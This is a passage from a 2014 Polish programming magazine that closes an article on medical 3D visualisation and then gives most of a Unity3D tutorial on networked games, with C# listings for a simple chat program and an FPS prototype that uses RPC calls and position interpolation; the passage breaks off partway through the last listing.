nia interakcją 3D za pomocą sensora Kinect. Wówczas elementy interaktywne-
go menu dla stojącego przed ekranem użytkownika generowane były jako ele-
menty 2D wyświetlane na oknie stereo. Dodatkowe informacje nie zaśmiecały
obsługi okna głównego, co stanowiło duży atut. Dla zwiększenia poczucia głębi
aplikacja dawała możliwość wykorzystania skyboxa z nałożonymi teksturami
imitującymi dowolne otoczenie.
Obrazowanie medyczne 3D można podzielić na metody renderingu obję-
tościowego lub inaczej wolumetrycznego (ang. volume rendering) oraz po-
wierzchniowego (ang. surface rendering). Pierwsza metoda do niedawna wy-
magała specjalnego sprzętu dedykowanego (np. karta VolumePro), jednakże
rozwój technologii i algorytmów pozwala obecnie cieszyć się tym typem
obrazowania przy wykorzystaniu typowych kart graficznych. Rendering wolu-
metryczny pozwala na wizualizację wnętrza danych bez dodatkowej obróbki,
wystarczy zdefiniować np. funkcję przezroczystości i metodę renderingu (np.
w bibliotece VTK). Z kolei rendering powierzchniowy wymaga przetworzenia
wstępnego (filtrowania, segmentacji/wyboru progu i wygenerowania siatki
– np. trójkątnej – reprezentującej powierzchnię danej struktury). Dzisiejsze
karty graficzne umożliwiają zaawansowane cieniowanie i teksturowanie ta-
kich siatek, co pozwala uzyskiwać bardzo atrakcyjne obrazy wynikowe. Pod-
czas pracy ze zbiorami medycznymi 3D wykorzystuje się miksowanie obu
technik, gdzie obiekty siatkowe zanurza się w wolumetrycznej „chmurze”.
Pobieżnie opisane w niniejszym artykule problemy dotyczyły w głównej mie-
rze nowych danych, z którymi spotykałem się podczas pracy nad rozwojem
aplikacji. Modyfikacji i ciekawych problemów programistycznych było bardzo
wiele, jednakże jak do tej pory nie natrafiłem na temat, który spowodowałby
konieczność tworzenia zupełnie nowej aplikacji. Aplikacja wchodzi obecnie w
fazę współpracy z oprogramowaniem rozszerzonej rzeczywistości (Oculus Rift),
nadal wspierając nowe pomysły i problemy dotyczące filtrowania, segmentacji,
wizualizacji i analizy danych medycznych (i nie tylko) 2D, 2.5D, 3D oraz 4D.
Rysunek 7. Wizualizacja stereo połączona wraz z menu interakcji
W sieci
P
http://www.nlm.nih.gov/research/visible/visible_human.html
– VHP
P
– strona darmowej platformy VTK
P
P
http://en.wikipedia.org/wiki/DICOM
– opis formatu DICOM
P
http://en.wikipedia.org/wiki/Volume_rendering
P
https://www.youtube.com/user/vizemlab
Michał Chlebiej
Dr informatyki i mgr fizyki komputerowej, zajmujący się na co dzień obrazowaniem medycznym
od strony programistycznej na Wydziale Matematyki i Informatyki Uniwersytetu Mikołaja Koper-
nika w Toruniu. Przygodę z programowaniem zaczął od komputera Timex 2048. Szczególną więź
czuje z komputerami Amiga, które odegrały znaczącą rolę w rozwoju grafiki komputerowej.
32
/ 6
. 2014 . (25) /
PROGRAMOWANIE GIER
Marek Sawerwain
KOMUNIKATOR SIECIOWY
Pierwszy przykład, jaki zrealizujemy, będzie nieskomplikowanym komunikato-
rem sieciowym, za pomocą którego przesyłane będą komunikaty tekstowe do
wszystkich osób podłączonych do głównego serwera naszego komunikatora.
Unity3D pozwala w dość prosty sposób zrealizować taki projekt i, co war-
to podkreślić, nie ma potrzeby sięgania do podstawowych elementów pro-
gramowania sieciowego, nie będziemy np. posługiwać się gniazdkami TCP/IP
czy też implementować procedur opartych o wątki, gdzie należałoby odbie-
rać oraz przetwarzać otrzymane dane.
Wykorzystywać natomiast będziemy wysokopoziomowe rozwiązania
oraz gotowe komponenty, jakie oferuje Unity3D. Dlatego, aby rozpocząć
pracę nad pierwszym przykładem, wystarczy zainstalować darmową wersję
Unity3D (obecnie jest to wersja 4.5.1).
Po instalacji należy utworzyć nowy projekt, nie musimy importować żad-
nych dodatkowych zasobów, bowiem wykorzystamy tylko dostępne w Uni-
ty3D elementy do budowy interfejsu użytkownika. Należy utworzyć też nową
scenę i zapisać np. pod nazwą
SceneZero.
Tworzymy tylko dwa elementy: jest to kamera (która zazwyczaj jest już
utworzona) oraz pusty obiekt typu
GameObject (należy z menu Game Object
wybrać opcję Create Empty albo posłużyć się skrótem klawiszowym Ctrl-Shift-N).
Warto zmienić nazwę nowo utworzonego obiektu np. na
LogicInGame. Zgod-
nie ze swoją nazwą ten skrypt pełni główną rolę w naszym zadaniu.
Do obiektu
LogicInGame należy podłączyć dwa dodatkowe kompo-
nenty. Pierwszy z nich to skrypt, np. o nazwie
NetworkCode. Będziemy pisać
ten skrypt w języku C#, ale może to też być JavaScript lub Boo. Skrypt ten na
początku może być pusty, tj. utworzony przez środowisko Unity3D, i od razu
podłączony do naszego obiektu głównego.
Drugim komponentem, jaki dodamy do głównego obiektu, jest kompo-
nent
Network View. To za pomocą tego obiektu będą przesyłane informacje
pomiędzy serwerem a podłączonymi graczami. Aktualnie nie musimy zmie-
niać żadnych własności w komponencie
Network View, choć warto spraw-
dzić własność
State Synchronization. Własność ta przyjmuje trzy stany:
pierwszy
Off, oznaczający, iż nie będą przesyłane żadne informacje o stanie
obiektu. Naturalnie, nas nie interesuje taka sytuacja, bowiem chcemy, aby in-
formacje były przesyłane. Aby tak się stało, należy wybrać stan
Unreliable,
oznaczający, iż zawsze będzie przesyłany komplet informacji. Trzecia możli-
wość to
Reliable Delta Compressed. Jest to najlepszy wybór, bowiem
oznacza większą oszczędność w przesyłaniu danych, gdyż przesyłane są tylko
te informacje, które zmieniły swoją wartość (np. jeśli obiekt pozostaje w tym
samym miejscu, to informacje o pozycji obiektu nie zostaną przesłane).
Główne zadanie do zrealizowania to napisanie skryptu, który będzie obsługiwał
przesyłanie komunikatów. Pełny kod źródłowy tego skryptu przedstawia Listing 1.
Zaczynamy od deklaracji trzech podstawowych zmiennych. Pierwsza ze
zmiennych reprezentuje adres IP serwera, druga numer portu, a trzecia mak-
symalną liczbę połączeń, jaka będzie obsługiwana przez nasz serwer:
public
string
connectionIP =
"127.0.0.1"
;
public
int
connectionPort = 25001;
public
int
maxConnections = 15;
Rysunek 1.Projekt przekazywania komunikatów tekstowych za pomocą Unity3D
Potrzebna będzie jeszcze zmienna
messages, w której przechowywać bę-
dziemy wszystkie odebrane wiadomości. Wykorzystamy dostępny typ
Ar-
rayList, który uprości operację przeglądania, odczytywania listy otrzy-
manych wiadomości czy dodawanie do istniejącej listy nowej wiadomości.
Zdefiniujemy też pomocniczą zmienną
scrollView oraz zmienną typu
string o nazwie message, gdzie będziemy przechowywać wiadomość tek-
stową, którą mamy zamiar przesłać do pozostałych klientów podłączonych
do serwera. Powyższe trzy zmienne deklarujemy w następujący sposób:
private
static
ArrayList
messages =
new
ArrayList
();
private
Vector2 scrollView = Vector2.zero;
private
string
message;
W skrypcie mamy też kilka metod niezbędnych, aby zrealizować nasze za-
danie. W metodzie
Start, uruchamianej w momencie kreacji obiektu głów-
nego w środowisku gry, wykonujemy tylko jedną czynność: do zmiennej
message wpisujemy pusty ciąg znaków. Najważniejsze zadania wykonu-
je metoda
OnGUI, w której to będziemy wyświetlać podstawowe menu. W
menu użytkownik będzie decydował, czy nasza aplikacja ma zostać urucho-
miona jako serwer, czy też ma pełnić rolę klienta. Istotną rolę pełni metoda
ReceiveMessage. Przed nagłówkiem tej metody umieszczono dodatkowy
atrybut
RPC, oznaczający, iż metoda ta może zostać wywołana zdalnie po-
przeć sieć. Wywołanie może zostać zlecone przez serwer, ale także przez każ-
dego z klientów podłączonych do serwera. Możliwość zdalnego wywołania
metody bardzo upraszcza zadania, jakie napotyka się w grach pracujących w
środowisku sieciowym.
Listing 1. Skrypt do obsługi procesu przesyłania komunikatów tekstowych
using
UnityEngine;
using
System.Collections;
public
class
NetworkCode
: MonoBehaviour {
public
string
connectionIP =
"127.0.0.1"
;
public
int
connectionPort = 25001;
public
int
maxConnections = 15;
Unity3D – prototyp gry sieciowej
Na popularność środowiska Unity3D składa się kilka elementów, ale z pewnością
jednym z nich jest dość przystępne API, które upraszcza typowe zadania, jakie na-
potyka się, tworząc aplikacje oparte o grafikę 3D. To nie wszystko; interfejs pro-
gramistyczny do obsługi komunikacji w sieci również został uproszczony. Autorzy
Unity3D przygotowali bowiem bardzo przystępny zestaw klas, który pozwala sto-
sunkowo szybko zrealizować prototyp gry sieciowej, np. typu FPS.
33
/ www.programistamag.pl /
UNITY3D – PROTOTYP GRY SIECIOWEJ
private
static
ArrayList
messages =
new
ArrayList
();
private
Vector2 scrollView = Vector2.zero;
private
string
message;
void
Start () {
message =
""
;
}
void
OnGUI() {
if
(Network.peerType == NetworkPeerType.Disconnected) {
GUI.Label(
new
Rect(10, 10, 200, 20),
"Status: Disconnected"
);
if
(GUI.Button(
new
Rect(10, 30, 120, 20),
"Client Connect"
)) {
Network.Connect(connectionIP, connectionPort);
}
if
(GUI.Button(
new
Rect(10, 50, 120, 20),
"Initialize Server"
)) {
Network.InitializeServer(maxConnections, connectionPort,
false
);
}
}
if
(Network.peerType == NetworkPeerType.Server) {
GUI.Label(
new
Rect(10, 10, 200, 20),
"Run as server"
);
}
if
(Network.peerType == NetworkPeerType.Client) {
GUI.Label(
new
Rect(10, 10, 300, 20),
"Status: Connected as
Client"
);
if
(GUI.Button(
new
Rect(10, 30, 120, 20),
"Disconnect"
)) {
Network.Disconnect(200);
}
message = GUI.TextField(
new
Rect(0, 100, 150, 25), message);
if
(GUI.Button(
new
Rect(150, 200, 50, 25),
"Send"
)) {
networkView.RPC(
"ReceiveMessage"
, RPCMode.All, message);
message =
""
;
}
}
GUILayout.BeginArea(
new
Rect(0 , 120 , 400 , 200));
scrollView = GUILayout.BeginScrollView(scrollView);
foreach
(
string
c
in
messages) {
GUILayout.Label(c);
}
GUILayout.EndArea();
GUILayout.EndScrollView();
}
[RPC]
private
void
ReciveMessage(
string
sentMess) {
messages.Add(sentMess);
}
}
PRZESYŁANIE KOMUNIKATÓW
Wszystkie zadania związane z komunikatami również realizujemy za pomo-
cą kodu w
OnGUI. W metodzie tej można wyróżnić cztery główne fragmenty.
Pierwszy fragment odnosi się do instrukcji warunkowej o postaci:
if
(Network.peerType == NetworkPeerType.Disconnected)
{ }
Wykrywa ona sytuację, jaka pojawia się po uruchomieniu aplikacji. Tuż po
starcie nie wiadomo bowiem jeszcze, czy uruchomiony program będzie pełnił
rolę serwera, czy też klienta. Ogólnie program w tym momencie nie jest pod-
łączony do sieci, co jak widać powyżej łatwo sprawdzić, odczytując wartość
pola
peerType. Możliwe jest też skorzystanie z pól isClient, isServer.
Dlatego, korzystając z podstawowych elementów GUI, tworzymy dwa
przyciski odpowiadające za podłączenie do uruchomionego serwera oraz za
utworzenie serwera. Dzięki Unity3D uruchomienie serwera sprowadza się do
jednej linii kodu:
Network.InitializeServer(maxConnections, connectionPort,
false
);
gdzie pierwszy argument to maksymalna liczba połączeń do serwera, drugi
parametr to numer portu, na którym będzie nasłuchiwał serwer, oraz trzeci
parametr, który dotyczy NAT, tj. czy ma być stosowana translacja adresów sie-
ciowych (NAT - Network Address Translation).
Natomiast jako klient podajemy adres serwera oraz numer portu:
Network.Connect(connectionIP, connectionPort);
Kolejne dwie instrukcje sprawdzają, czy działamy jako serwer
Network.
peerType == NetworkPeerType.Server. Jeśli tak, to w kodzie nie mu-
simy wykonywać żadnych dodatkowych czynności, ograniczamy się do wy-
świetlenia tekstu za pomocą
GUI.Label.
Jeśli jednak program jest klientem
Network.peerType == Network-
PeerType.Client, to, podobnie jak w przypadku serwera, pokazujemy
etykietę tekstową z odpowiednią informacją. Dodatkowo dodajemy przycisk
do rozłączenia. Czynność odłączenia klienta ponownie można zrealizować za
pomocą jednej linii kodu:
Network.Disconnect(200);
Parametr metody
Disconnect to wartość w milisekundach, tzw. timeout,
czyli czasu, jaki został przydzielony do poinformowania serwera (oraz pozo-
stałych klientów), że określony klient zostanie odłączony od serwera.
Kolejny element w obsłudze klienta to umieszczenie pola tekstowego:
message = GUI.TextField(
new
Rect(0, 100, 150, 25), message);
Wykorzystujemy zmienną
message, aby podać wartość, jaka ma zostać wy-
świetlona w polu, oraz do tej samej zmiennej zostanie wpisany ciąg znakowy
podany przez użytkownika. Jednak najważniejsza czynność to przesłanie ko-
munikatu, ale to także można zrealizować za pomocą jednej linii kodu:
networkView.RPC(
"ReceiveMessage"
, RPCMode.All, message);
Oznacza ona, iż klient zleca zdalne wykonanie metody o nazwie
Receive-
Message serwerowi oraz innym klientom, którzy są podłączeni do tego sa-
mego serwera (opisuje to stała
RPCMode.All). Treść wiadomości to oczywi-
ście zmienna
message.
Pozostała część kodu w metodzie
OnGUI jest odpowiedzialna za wyświe-
tlenie otrzymanych komunikatów przechowywanych w zmiennej
messages.
Łatwo to zrobić za pomocą
foreach, co znajduje potwierdzenie na kodzie
źródłowym.
W kodzie obsługującym przesyłanie komunikatów pozostała już tylko jed-
na metoda
ReceiveMessage, której zadaniem jest odbiór komunikatów. Z
tego powodu posiada parametr
sentMess, który zawierać będzie komunikat
wpisany przez użytkownika. Jej kod to tylko jedna linia, bowiem otrzymaną
wartość tekstową umieszczamy w zmiennej
messages:
messages.Add(sentMess);
Ostatni element związany z naszym pierwszym przykładem to jego testo-
wanie. Ponieważ nie można uruchomić dwóch kopii środowiska Unity3D,
to należy zbudować wersję binarną naszego przykładu. Wykonamy to za
pomocą opcji Build z menu File (Rysunek 2). Należy jednak wykonać dwie
dodatkowe czynności. Po pierwsze, naszą scenę o nazwie
SceneZero na-
leży dodać do listy
Scenes in Build za pomocą przycisku Add current.
Następnie należy zaznaczyć opcję
Run In Background w opcjach, ja-
kie ukrywają się pod przyciskiem
Player Settings. Opcja Run In
Background oznacza, że jeśli aplikacja nie będzie aktywna (np. przesło-
nięta przez okno innej aplikacji), tj. umieszczona w tle, to nadal będzie
aktywnie przetwarzać wszystkie zdarzenia. Jest to kluczowy element w
przypadku serwera, jeśli będzie testować aplikację na jednym kompute-
rze. Warto też „schować” okno wyboru rozdzielczości, jakie Unity3D po-
kazuje w momencie uruchomienia aplikacji, oraz wyłączyć tryb pełnego
ekranu i uruchamiać aplikację w oknie.
34
/ 6
. 2014 . (25) /
PROGRAMOWANIE GIER
Rysunek 2. Budowa aplikacji binarnej oraz parametry aplikacji
SIEĆ I GRA W STYLU FPS
Drugi przykład pozwoli lepiej poznać podstawowe możliwości sieciowe w
przypadku gier FPS, ale i też zademonstrować problemy z synchronizacją, na
jakie napotykamy, tworząc tego typu oprogramowanie.
Analogiczne jak poprzednio, należy utworzyć nowy projekt oraz przynaj-
mniej jedną scenę. W przykładzie umieścimy tylko dwa główne obiekty: jeden
o nazwie
Arena, który będzie zawierać wszystkie elementy naszego obszaru,
gdzie toczy się nasza gra. Może to być obszar w postaci obiektu
terrain, a
także inne obiekty 3D, z których będziemy budować obszar naszej gry, np.
światła. Drugim istotnym obiektem będzie
SpawnPoint, każdy gracz, który
podłączy się do naszej gry, będzie ją rozpoczynał w punkcie o tej nazwie. Do
tego obiektu podobnie jak poprzednio podłączono skrypt z klasą
Network-
Logic. Podłączona zostanie także kamera, choć nie jest ona potrzebna. Po
zalogowaniu się do gry kamera podłączona do punktu
SpawnPoint zostanie
wyłączona, a włączymy kamerę gracza.
Jak widać, nie został wymieniony obiekt gracza, ponieważ będzie on dyna-
micznie tworzony po utworzeniu bądź zalogowaniu się graczy na serwer. Nale-
ży jednak utworzyć taki obiekt, może to być zwykły sześcian, bądź też kapsuła.
Można też wykorzystać gotowe rozwiązania z pakietu Character Controller.
Choć jak się okaże będzie on też niestety źródłem pewnych problemów (ale
uda się je przezwyciężyć za pomocą jednej czy też góra dwóch linii kodu).
Utworzony obiekt reprezentujący postać gracza (w naszym przypadku
będzie to obiekt o nazwie
FPSPlayer) należy zamienić na tzw. obiekt pre-
fab, np. poprzez proste przeciągnięcie obiektu z okna Hierarchii do okna
Project. Do obiektu
prefab należy też dodać komponent o nazwie Network
View. Należy też upewnić się, czy własność Observed zawiera odwołanie do
typu
FPSPlayer.
KLIENT I SERWER
Pozostałe czynności związane z naszym prototypem gry w stylu FPS są reali-
zowane przez skrypt
NetworkLogic podłączony do obiektu SpawnPoint.
Początkowo postępujemy podobnie jak poprzednio, tworzymy dwa przyciski,
gdzie podłączamy się do gry jako klient, oraz tworzony jest serwer. Fragment
kodu odpowiedzialny za nasze proste menu został umieszczony w metodzie
OnGUI, i jest identyczny jak w naszym komunikatorze z pierwszego przykła-
du, choć, co naturalne, usunięto kod odnoszący się do wyświetlania otrzyma-
nych komunikatów tekstowych.
Mamy jednak kilka dodatkowych metod. Pierwsza z nich:
OnServerIni-
tialized, jest wywoływana w momencie, gdy utworzony został serwer. Jeśli
tak się stało, to należy utworzyć obiekt gracza, który będzie funkcjonował na
serwerze. Druga z metod –
OnConnectedToServer – zgodnie ze swoją na-
zwą zostanie uruchomiona, gdy jako klient uzyskamy połączenie z serwerem.
W takim przypadku również należy utworzy obiekt gracza. W obu przypad-
kach wywoływana jest metoda
CreatePlayer, która utworzy obiekt gracza
na serwerze oraz na wszystkich podłączonych do serwera klientach.
Metoda
CreatePlayer (jej kod jest umieszczony na Listingu 2) wykonu-
je tworzenie obiektu gracza za pomocą
Network.Instantiate:
var g = (GameObject)Network.Instantiate(PlayerPrefab, transform.
position, transform.rotation, groupID);
gdzie pierwszy obiekt to typ reprezentujący gracza, czyli obiekt prefab utwo-
rzony wcześniej. Skrypt
NetworkLogic posiada publiczne pole Player Pre-
fab wymagające inicjalizacji obiektem FSPPlayer. Tę czynność trzeba wyko-
nać, tworząc obiekt
SpawnPoint i podłączając skrypt NetworkLogic. Jednak
sprowadza się to tylko do przesunięcia myszą obiektu
FSPPlayer z okna Pro-
ject do pola
Player Prefab w oknie Inspector, co widać także na Rysunku 3.
Rysunek 3. Projekt naszego prototypu FPS i właściwości obiektu SpawnPoint
Druga czynność wykonywana w metodzie
CreatePlayer to przełączenie
kamery z punktu
SpawnPoint do lokalnej kamery gracza, co polega na od-
szukaniu komponentu kamery w obiekcie
FPSPlayer:
var
obj = g.GetComponentInChildren<Camera>();
A następnie włączamy kamerę gracza i wyłączamy kamerę z punktu
SpawnPoint:
obj.camera.enabled =
true
;
camera.enabled =
false
;
Nie trzeba odszukiwać kamery z punktu
SpawnPoint, ponieważ nasz skrypt
NetworkLogic przynależy do obiektu SpawnPoint i wobec tego ma bezpo-
średni dostęp do obiektu kamery.
Do omówienia pozostała jeszcze trzecia metoda o nazwie
OnPlayer-
Disconnected. Jej wywołanie następuje w przypadku, gdy jeden z podłą-
czonych do serwera graczy odłączy się od serwera. Należy obiekt gracza usu-
nąć z gry za pomocą metody
DestroyPlayerObject:
Network.DestroyPlayerObjects( player );
Można w tym momencie uruchomić nasz prototyp. Podobnie jak poprzednio
budujemy wersję binarną, uruchamiamy zewnętrzny program w trybie ser-
wera. Klientem może być Unity3D, ale natychmiast zaobserwujemy dziwne
zachowanie się graczy. Wygląda to bowiem tak, iż każdy gracz steruje innymi
graczami. Aby to naprawić, należy przejść do skryptu FPSInputController.js,
jaki znajduje się w pakiecie Character Controller. W metodzie
Update należy
na samym początku dopisać dwie linie kodu (albo jedną, jeśli lubimy umiesz-
czać słowo kluczowe
return w tej samej linii co słowo if):
if( !networkView.isMine )
return;
35
/ www.programistamag.pl /
UNITY3D – PROTOTYP GRY SIECIOWEJ
Powyższa linia kodu zapewnia nas, że informacje o wciśniętych klawiszach,
które są przetwarzane przez pozostałe skrypty obiektu
FPSPlayer, będą
przesyłane tylko do właściciela obiektu
networkView. Inaczej mówiąc, lokal-
ny klient (a także serwer) nie będzie przekazywał informacji np. o spacji, któ-
ra oznacza skok gracza, do pozostałych obiektów graczy. Bez tej linii każdy z
obiektów graczy otrzymywał informacje o wciśniętych klawiszach, a następnie
poprzez sieć otrzymywano informacje o przesunięciu się obiektów, co powo-
dowało dziwne zachowanie się wszystkich obiektów znajdujących się w grze.
Choć z drugiej strony wiadomo już, że można w ten sposób na odległość ste-
rować zachowaniem się innych obiektów, co może się przydać w przyszłości.
Niestety, nie eliminuje to opóźnienia sieci i tzw. „drgania” obiektów gra-
czy, gdy porusza się gracz lokalny oraz gracze sieciowi. Efekt ten zobaczymy,
nawet jeśli serwer i klient jest uruchomiony na tej samej maszynie. Aby to
poprawić, trzeba wprowadzić dodatkowe mechanizmy, które przedstawimy
w następnym punkcie.
Listing 2. Skrypt do obsługi sieci w prototypie gry typu FPS
using
UnityEngine;
using
System.Collections;
public
class
NetworkLogic
: MonoBehaviour {
public
GameObject PlayerPrefab;
public
string
connectionIP =
"127.0.0.1"
;
public
int
connectionPort = 25001;
public
int
maxConnections = 15;
public
bool
playerConnected;
private
int
groupID = 1;
void
Start () {
playerConnected =
false
;
}
void
CreateNetworkPlayer() {
playerConnected =
true
;
var
g = (GameObject)Network.Instantiate(PlayerPrefab,
transform.position, transform.rotation, groupID);
var
obj = g.GetComponentInChildren<Camera>();
obj.camera.enabled =
true
;
camera.enabled =
false
;
}
void
OnDisconnectedFromServer() {
playerConnected =
false
;
}
void
OnPlayerDisconnected(NetworkPlayer player) {
Network.DestroyPlayerObjects( player );
}
void
OnConnectedToServer() {
CreateNetworkPlayer();
}
void
OnServerInitialized() {
CreateNetworkPlayer();
}
void
OnGUI () {
if
(Network.peerType == NetworkPeerType.Disconnected) {
GUI.Label(
new
Rect(10, 10, 200, 20),
"Status: Disconnected"
);
if
(GUI.Button(
new
Rect(10, 30, 120, 20),
"Connect as
client"
)) {
Network.Connect(connectionIP, connectionPort);
}
if
(GUI.Button(
new
Rect(10, 50, 120, 20),
"Initialize
Server"
)) {
Network.InitializeServer(maxConnections, connectionPort,
false
);
}
}
if
(Network.peerType == NetworkPeerType.Server) {
GUI.Label(
new
Rect(10, 10, 200, 20),
"Status: Run as
server"
);
}
if
(Network.peerType == NetworkPeerType.Client) {
GUI.Label(
new
Rect(10, 10, 300, 20),
"Status: Connected as
Client"
);
playerConnected =
true
;
if
(GUI.Button(
new
Rect(10, 30, 120, 20),
"Disconnect"
)) {
Network.Disconnect(200);
}
}
}
}
Nowości w Unity3D
Aktualna wersja w momencie tworzenia tego artykułu nosi numer 4.5.1,
jednak wkrótce zostanie wydana kolejna odsłona linii „4”. A niedługo po
tym pokaże się kolejna odsłona środowiska Unity3D z numerem „5”.
Jedną z bolączek wydania „4” i starszych wersji był system GUI, a dokład-
nie sposób jego budowy. Nie można było budować GUI za pomocą myszy,
jak to jest w wielu narzędziach, do budowy interfejsu użytkownika np. w śro-
dowiskach komercyjnych typu RAD Studio czy Visual Studio, czy też darmo-
wym programie Sharp Develop. Kolejne wydanie w linii „4” ma przynieść po-
prawę obsługi GUI i umożliwić łatwiejsze tworzenie interfejsu graficznego.
Więcej nowości zaoferuje jednak wydanie „5”. Oprócz poprawy jakości gra-
fiki, dzięki wprowadzeniu tzw. shaderów fizycznych, uwzględniających lepszy
model oświetlenia oraz materiałów, duże zmiany czekają także w systemie
dźwięku, który został gruntownie zmodernizowany. Poprawki dotknęły też
narzędzia do grafiki 2D, które zostały ostatnio wprowadzone w linii „4”. Samo
Unity3D stanie się też narzędziem 64-bitowym (choć wersja 32-bitowa nadal
ma być wspierana), pojawi się również wsparcie dla WebGL oraz dla systemu
SpeedTree (biblioteka dostarczająca realistyczne modele trawy, krzewów oraz
drzew). Obsługa SpeedTree dostępna będzie również w wersji darmowej.
INTERPOLACJA POZYCJI GRACZA
Podane w tym miejscu rozwiązanie odnosi się do idei zastosowanej już jakiś
czas temu w silniku gier Source. Za pomocą interpolacji (dokładnie interpo-
lacji liniowej w przypadku pozycji graczy) będziemy stosować poprawki do
pozycji gracza zdalnego. W ten sposób ruchy graczy zdalnych będą znacznie
płynniejsze, choć nadal mogą zdarzać się „szarpnięcia”.
Nasz przykład możemy oprzeć o poprzednie rozwiązanie. Nadal gracze
pojawiają się w punkcie
SpawnPoint, i wykorzystujemy do tego metodę
CreatePlayer, jednak należy wprowadzić dodatkowy element w postaci
dodawania nowego komponentu w zależności od tego, czy gracz dołączył
do gry bezpośrednio na serwerze, czy też jest jest to gracz zdalny. Wystarczy
dodać jeden parametr do metody
CreatePlayer np. o nazwie playerType
i w kodzie metody w zależności od wartości tego parametru dołączać odpo-
wiedni komponent:
if
(playerType == 0)
g.AddComponent(
"NetworkPlayerLogicServer"
);
if
(playerType == 1)
g.AddComponent(
"NetworkPlayerLogicRemote"
);
Inne zmiany w skrypcie
NetworkLogic nie są potrzebne, ale należy natu-
ralnie utworzyć dwa dodatkowe skrypty odpowiedzialne za synchronizacje
pozycji graczy. Pierwszy z dodatkowych skryptów
NetworkPlayerLogic-
Server jest odpowiedzialny za przesyłanie stanu gracza znajdującego się na
serwerze. W klasie
NetworkPlayerLogicServer znajduje się tylko jedna
metoda o nazwie
OnSerializeNetworkView, której zadaniem jest odbie-
ranie informacji sieciowych.
Rysunek 4. Testy prototypu FPS wraz z interpolacją pozycji graczy zdalnych
36
/ 6
. 2014 . (25) /
PROGRAMOWANIE GIER
Implementacja tej metody może przedstawiać się następująco:
void
OnSerializeNetworkView( BitStream stream, NetworkMessageInfo
info ) {
Vector3 position = Vector3.zero;
Quaternion rotation = Quaternion.identity;
if
( stream.isWriting ) {
// cześć I
}
else
{
// cześć II
}
}
Część pierwsza zawiera następujący kod:
position = transform.position;
rotation = transform.rotation;
stream.Serialize(
ref
position );
stream.Serialize(
ref
rotation );
Polega on na odczytaniu informacji o położeniu obiektu oraz wartości obrotu
i przekazania tych wartości do strumienia, bowiem, zgodnie z warunkiem w
instrukcji warunkowej, strumień danych znajduje się w trybie do zapisu.
Część druga wykonuje czynność odwrotną; odczytuje dane ze strumienia
i zapisuje je do obiektu:
stream.Serialize(
ref
position );
stream.Serialize(
ref
rotation );
transform.position = position;
transform.rotation = rotation;
Takie rozwiązanie jest wystarczające dla kodu serwera, ponieważ gracz grają-
cy na serwerze nie doświadcza opóźnienia związanego z obsługą sieci, dlate-
go wystarczy proste przenoszenie danych.
Dla graczy zdalnych należy jednak przygotować większe rozwiązanie:
jest to skrypt o nazwie
NetworkPlayerLogicRemote. Bazuje ono, jak już
powiedziano, na pomyśle z silnika Source, bardzo podobne rozwiązania mo-
żemy odszukać na stronie unifycommunity czy też na forum Unity3D. Całość
kodu znajduje się na Listingu 3.
Początek to deklaracja dodatkowych zmiennych, z których najważniej-
sza to
InterpolationBackTime. Zmienna ta określa częstość stosowania
poprawki za pomocą interpolacji w trakcie jednej sekundy toczącej się gry.
Istotna jest też struktura
playerState, która zawiera pozycję oraz obrót gra-
cza, a także czas otrzymania informacji. Zestaw tych danych będzie przecho-
wywany w tablicy
stateBuffer. W metodzie Start dodatkowo tworzymy
wspomnianą tablicę
stateBuffer.
Dane otrzymujemy naturalnie z metody
OnSerializeNetworkView,
zapis danych jest identyczny jak w poprzednim skrypcie dla gracza serwe-
rowego. Jednak, w procesie odczytu danych, zamiast do obiektu, do którego
podłączony jest skrypt, dane są zapisywane do tablicy
stateBuffer. Są one
zawsze przesuwane do góry o jedną pozycję, a ostatnio odczytana wartość
jest umieszczana pod indeksem zerowym tablicy
stateBuffer.
Realizacja interpolacji jest wykonywana w metodzie
Update. W metodzie
tej sprawdzamy dodatkowo, czy komponent
NetworkView przynależy do na-
szego obiektu, bowiem jeśli tak jest, to nie jest potrzebna interpolacja. Spraw-
dzamy też, czy odebrane zostały jakieś dane, odczytując wartość zmiennej
stateCount. Następnie, odejmujemy od aktualnego czasu sieciowego stałą
wartość określoną w zmiennej
InterpolationBackTime. Należy się upew-
nić, czy czas w pierwszej próbce znajdującej się w tablicy
stateBuffer pod
indeksem zero jest większy niż czas interpolacji. Jeśli tak jest, to za pomocą
pętli
for szukamy w tablicy stateBuffer stanu, który dotarł wcześniej niż
wyznaczony czas interpolacji (zmienna
interpolationTime).
Gdy odpowiedni stan zostanie odszukany, to oblicza się różnicę w czasie
pomiędzy odszukanym elementem (indeks i bezpośrednio wskazuje na ten
element), dodatkowo jest on kopiowany do zmiennej
startState, a ele-
mentem wcześniejszym (indeks i-1, lub zerowym, jeśli i-1 byłoby wartością
ujemną) zapamiętanym jako zmienna
targetState. Należy upewnić się,
czy obliczona różnica w czasie jest większa niż
0.0001 (jest to związane z
dokładnością wartości czasowych, jakie otrzymujemy). Następnie obliczamy
czas trwania całej procedury interpolacji (zmienna
t). Po tych czynnościach
możemy wykonać interpolację pomiędzy dwoma wskazanymi stanami, dla
pozycji oraz obrotu:
transform.position = Vector3.Lerp( startState.Position,
targetState.Position, t );
transform.rotation = Quaternion.Slerp(startState.Rotation,
targetState.Rotation, t);
W przypadku pozycji stosujemy funkcję
Lerp, natomiast dla obrotu Slerp,
która jest dopasowana do kwaternionów, jakie stosuje Unity3D do reprezen-
tacji obrotów, i jest to tzw. interpolacja sferyczna, stanowiąca odpowiednik
interpolacji liniowej, jaką uzyskuje się za pomocą
Lerp.
W kodzie z Listingu 3 mamy jeszcze ekstrapolację, która polega na pró-
bie przewidzenia nowej pozycji gracza na podstawie stanów zero oraz jeden.
Można ten fragment usunąć i zastąpić go kopiowaniem danych ze stanu
zerowego.
Listing 3. Skrypt do obsługi interpolacji pozycji oraz wartości obro-
tu obiektu gracza w prototypie gry typu FPS
using
UnityEngine;
using
System.Collections;
public
class
NetworkPlayerLogicRemote
: MonoBehaviour {
public
float
InterpolationBackTime = 0.1f;
private
playerState
[] stateBuffer =
null
;
private
int
stateCount;
private
struct
playerState
{
public
Vector3 Position;
public
Quaternion Rotation;
public
double
Timestamp;
public
playerState( Vector3 pos, Quaternion rot,
double
time
) {
this
.Position = pos;
this
.Rotation = rot;
this
.Timestamp = time;
}
}
void
Start() {
stateBuffer =
new
playerState
[ 25 ];
stateCount = 0;
}
void
Update() {
if
( networkView.isMine )
return
;
if
( stateCount == 0 )
return
;
double
currentTime = Network.time;
double
interpolationTime = currentTime - InterpolationBackTime;
if
( stateBuffer[ 0 ].Timestamp > interpolationTime ) {
for
(
int
